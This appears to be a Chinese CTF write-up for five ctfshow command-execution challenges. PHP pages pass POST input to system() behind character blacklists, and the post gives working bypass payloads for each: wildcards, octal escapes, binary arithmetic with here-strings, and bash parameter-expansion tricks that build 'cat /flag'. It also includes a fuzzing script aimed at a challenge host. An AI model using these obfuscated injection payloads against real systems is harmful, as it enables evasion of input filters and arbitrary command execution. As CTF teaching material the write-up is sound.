ctfshow 每周大挑战 极限命令运行

题目1

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

脚本跑一下

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($i))){
            echo chr($i)." ";
        }
}

还有这些可以用

! $ ’ ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~

直接运行getflag用通配符

POST:
ctf_show=/?????a?

题目2

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 
import requests
 
#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"
 
str= ""
for i in range(255):
    data = {'ctf_show':chr(i)}
    retext = requests.post(url,data=data).text
    if "??????" in retext:
        print(1)
    else:
        str += chr(i)
 
print(str)

!#$&'()0123456789<_{}~

没有通配符了,但是可以通过$'\xxx'的方式执行命令,其中xxx是ascii字母的8进制值

ls=$'\154\163'
/getflag=$'\57\147\145\164\146\154\141\147'
POST:
ctf_show=$'\57\147\145\164\146\154\141\147'

题目3

!#$&'()01<_{}~
跑完脚本发现这些可以用

我们的目的是构造命令cat /flag
然后进行合理的手段只有01不难想到是二进制,然后我们再转换为刚才的八进制来执行命令

在这里插入图片描述

$((1<<1))=2
ls=$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这里能正常解析但是无法执行,我们要使用<<<来进行命令执行
三个小于号 (<<<) 是一种特殊的重定向操作符,被称为here-string。它允许你直接将一个字符串作为命令的标准输入。
ctf_show=$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$0是用来接受命令的
cat /flag=$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
POST:
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

题目4

!#$&'()0<_{}~

先用脚本跑出这些东东能用
然后要找出1就能有答案了

$#=0
${##}=1
abc=aaaa
${#abc}=4(字符长度)

在这里插入图片描述在这里插入图片描述
现在直接用${##}替换1

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

题目5

跑脚本的东西

!$&'()<=_{}~

${!xxx}的知识点
def=456
${!def}=456

然后这里我们发现可以取反获得数字0 1

~a=-(a+1)
$(())=0
$((~$(())))=-1
$((~$(())))$((~$(())))=-1-1
$(($((~$(())))$((~$(())))))=-2
$((~$(($((~$(())))$((~$(())))))))=1
得到一个规律就是-1取反得到0-2取反得到1,以此类推

$((~$(($((~$(())))$((~$(())))$((~$(())))))))=2
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=3
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=4
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=5
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=6
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=7

在这里插入图片描述

首先由于bash的局限性:变量命名规范是以下划线或者英文字母开头,我们命令__=$(())
然后再利用${!__}=0来代替中间命令用&&来分割,但是&&被过滤我们使用URL%26%26替代

我们都可以直接执行8进制的了

cat /flag=$'\143\141\164\40\146\154\141\147'
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值